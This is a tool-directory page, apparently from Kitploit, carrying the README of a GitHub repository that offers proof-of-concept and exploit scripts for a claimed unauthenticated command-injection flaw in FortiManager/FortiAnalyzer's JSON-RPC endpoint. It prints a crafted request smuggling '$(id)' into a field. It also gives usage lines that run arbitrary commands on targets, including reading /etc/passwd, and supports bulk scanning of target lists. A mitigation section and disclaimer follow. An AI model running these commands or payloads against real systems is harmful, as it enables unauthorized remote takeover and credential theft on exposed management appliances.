Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/im-hanzou/cve-2026-126170-fortimanager-jsonrpc-rce
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingCommand and ControlRemote Access Tool
GitHub
im-hanzou/cve-2026-126170-fortimanager-jsonrpc-rce

cve-2026-126170-fortimanager-jsonrpc-rce

PoC and exploit scripts for CVE-2026-126170, an unauthenticated JSON-RPC injection RCE in FortiManager/FortiAnalyzer, with endpoint verification, command execution, and bulk scanning.

View Repository
10 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    647
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    421
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    389
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    333
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    331

Explore all tools

Browse our collection of tools

View all tools →
Share

FortiManager-JSONRPC - CVE-2026-126170

CVE CVSS

Python Platform Category By Gh0st-Bx1

DISCLAIMER: This repository was created exclusively for educational and security research purposes. Using these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.


Table of Contents

FieldDetail
CVECVE-2026-126170
NicknameFortiManager-JSONRPC
TypeUnauthenticated JSON-RPC Injection
CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Component/jsonrpc endpoint of FortiManager and FortiAnalyzer
VectorsCrafted JSON-RPC requests without a session token
AuthenticationNot required when JSON-RPC is enabled
AffectsFortiManager and FortiAnalyzer with rpc-permit enabled
FixedFortiManager 8.0.3+
DisclosedNovember 2026

Vulnerability Description

When the JSON-RPC API is enabled on FortiManager/FortiAnalyzer (config system global / set rpc-permit), the /jsonrpc endpoint accepts requests without valid authentication. An attacker can inject malicious data into JSON parameters to trigger privileged functionality, including command execution on the operating system.

The vulnerability lies in the absence of input validation on parameter fields that are passed directly to internal functions without sanitization, allowing escape to the system shell.

Attack Flow

POST /jsonrpc HTTP/1.1
Host: fortimanager.target.com
Content-Type: application/json

{
  "id": 1,
  "method": "exec",
  "params": [{"url": "/sys/api/smtptest",
              "data": {"server": "$(id)"}}],
  "jsonrpc": "2.0"
}

Usage

PoC - Endpoint Verification

# Check if /jsonrpc responds
python poc.py --target 192.168.1.10 --no-ssl-verify

# With HTTP instead of HTTPS
python poc.py --target 192.168.1.10 --no-ssl --port 80

# Mass scan
python poc.py --target fortimanager.company.com --targets-file targets.txt --output result.json

Exploit - Command Execution

# Attempt remote execution (default command: id)
python exploit.py --target 192.168.1.10 --no-ssl-verify

# Custom command
python exploit.py --target 192.168.1.10 --cmd "whoami" --no-ssl-verify

# With system information gathering beforehand
python exploit.py --target 192.168.1.10 --info --cmd "cat /etc/passwd" --no-ssl-verify

Immediate Mitigation

# Disable JSON-RPC on FortiManager/FortiAnalyzer
config system global
    set rpc-permit none
end
  • Update to FortiManager 8.0.3+
  • Restrict access to the /jsonrpc endpoint via firewall
  • Monitor access logs for POST requests to /jsonrpc without an authenticated session

References

  • Fortinet PSIRT Advisory
  • FortiManager JSON-RPC API Documentation

By Gh0st-Bx1 | https://github.com/Ghost-Bx1

Download Tool